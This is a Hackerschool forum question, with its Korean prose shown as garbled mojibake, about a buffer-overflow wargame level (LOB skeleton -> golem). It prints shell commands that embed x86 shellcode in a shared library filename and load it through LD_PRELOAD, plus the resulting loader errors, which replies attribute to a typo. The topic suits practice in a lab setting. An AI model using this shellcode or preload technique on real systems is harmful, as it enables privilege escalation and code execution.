½Ã½ºÅÛ ÇØÅ·

 1574, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   turttle2s
   [ LOB ] skeleton -> golem

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1973 [º¹»ç]


LD_PRELOAD¸¦ ÀÌ¿ëÇÏ¿© ¹®Á¦¸¦ ÇØ°áÇÏ·Á°í ÇÕ´Ï´Ù.


[skeleton@localhost workspace]$ gcc -fPIC -shared -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`.so temp.c
// °øÀ¯ ¶óÀ̺귯¸® »ý¼º

[skeleton@localhost workspace]$ export LD_PRELOAD="/home/skeleton/workpsace/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`.so"
// °øÀ¯ ¶óÀ̺귯¸® µî·Ï


[skeleton@localhost workspace]$ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/skeleton/workspace
// °øÀ¯ ¶óÀ̺귯¸® °æ·Î ¼³Á¤



ÀÌ ´ÙÀ½ºÎÅÍ´Â ¾î¶² ¸í·ÉÀ» Çصµ ¿¡·¯°¡ ¶å´Ï´Ù..

[skeleton@localhost workspace]$ ll
ls: error in loading shared libraries: /home/skeleton/workpsace/鐞1ɱ2lÿ瀵󬩪ÿÿÿ2i00tii0cjo㐔⚱
                                                                                           ΁.so: cannot open shared object file: No such file or directory

[skeleton@localhost workspace]$ gdb -q golem
gdb: error in loading shared libraries: /home/skeleton/workpsace/鐞1ɱ2lÿ瀵󬩪ÿÿÿ2i00tii0cjo㐔⚱
                                                                                            ΁.so: cannot open shared object file: No such file or directory



°øÀ¯ ¶óÀ̺귯¸® °æ·Î¸¦ Á¤ÇØÁÖÁö ¾ÊÀ¸¸é Àú·± ¿¡·¯°¡ ¶á´Ù°í Çؼ­ °æ·Î±îÁö ¼³Á¤ÇØÁá´Âµ¥ °è¼Ó ¿¡·¯°¡ ¶å´Ï´Ù.

ÀÌÀ¯¸¦ ¸ð¸£°Ú½À´Ï´Ù..  ¿ÖÀÌ·¯´Â°É±î¿ä?

  Hit : 1562     Date : 2019/08/21 09:26



    
turttle2s ¿ÀŸ¸¦ Á¶½ÉÇսôÙ. 2019/08/21  
turttle2s ¸ÁÇÒ ¿ÀŸ 2019/08/21  
turttle2s ¿ÀŸ¶§¹®ÀÌ¿´³×¿ä ¤Ð 2019/08/21  
1574   pwnable.kr echo1 Áú¹®2 (½ºÆ÷ ÁÖÀÇ)[2]     turttle2s
10/05 1207
1573   LOB GATE¹®Á¦ Ç®¸é¼­ ±Ã±ÝÇÑÁ¡[3]     hackxx123
08/24 862
1572   libc°ü·Ã - 2[5]     lMaxl04
08/24 854
1571   ASLRÀÌ °É·ÁÀÖÀ»¶§ ret¿¡ ROPÀ¸·Î jmp %espÀ» »ç¿ëÇÑ °æ¿ì.[3]     lMaxl04
06/29 1111
1570   ¸®¸ðÆ® ȯ°æ¿¡¼­ÀÇ ½ºÅà ÁÖ¼Ò È®ÀÎ ¹æ¹ýÀÌ ±Ã±ÝÇÕ´Ï´Ù.[2]     lMaxl04
06/16 915
1569   ÇØÅ· ÇÁ¸®¼­¹ö ¾ø¾îÁ³³ª¿ä?[1]     terfkim
04/15 1695
1568   ½ºÅÿ¡ µ¥ÀÌÅÍ ³ÖÀ» ¶§ SIGSEGV[4]     turttle2s
02/04 1426
1567   pwnable.kr echo1 Áú¹®[2]     turttle2s
06/17 1704
1566   ROP strcpy °ü·Ã Áú¹®ÀÔ´Ï´Ù.[3]     heeyoung0511
06/16 1554
1565   Level2 -> Level3 ¿¡¼­ vi¿Í /usr/bin/EditorÀÇ Â÷ÀÌ[2]     hyemin1826
07/18 1784
1564   Trainer3 ftz.hackerschool.org È£½ºÆ® Á¢¼Ó ºÒ°¡[1]     hyemin1826
07/18 3192
1563   dllÀÎÁ§¼Ç ½ÇÇèÁß Áú¹® µå¸³´Ï´Ù.[1]     kkk477
05/31 1825
1562   ÆÐŶ º¹È£È­¸¦ ¸¶½ºÅÍ ÇÏ·Á¸é ¾î¶² °úÁ¤ÀÌ ÀÖ¾î¾ßÇϳª¿ä?     sa0814
04/01 1670
1561   »ç±â[2]     jas08
03/31 1960
1560   ½Ã½ºÅÛ ÄÝÀÌ °¡´ÉÇÑ ¸Þ¸ð¸® ¿µ¿ª°ú ºÒ°¡´ÉÇÑ ¸Þ¸ð¸® ¿µ¿ªÀÌ Á¸ÀçÇϳª¿ä?     ocal
03/30 1711
1559   pwntools »ç¿ë½Ã¿Í ±âº» socket ¸ðµâ ÀÌ¿ë½Ã Â÷ÀÌ?[4]     ocal
01/09 2249
1558   lob level19(nightmare) °ü·ÃÁú¹®[1]     dnjsdnwja
12/18 1721
1557   ftz level2 Áú¹®ÀÖ½À´Ï´Ù[1]     kihyun1998
12/13 1811
1556   ftz level2¹ø Ǫ´Âµ¥¿ä ±ÇÇÑÀÌ...     kihyun1998
12/06 1687
1555   ½Ã½ºÅÛÇØÅ·ÇÒ¶§ [3]     thsrhkdwns
12/05 2166
1 [2][3][4][5][6][7][8][9][10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org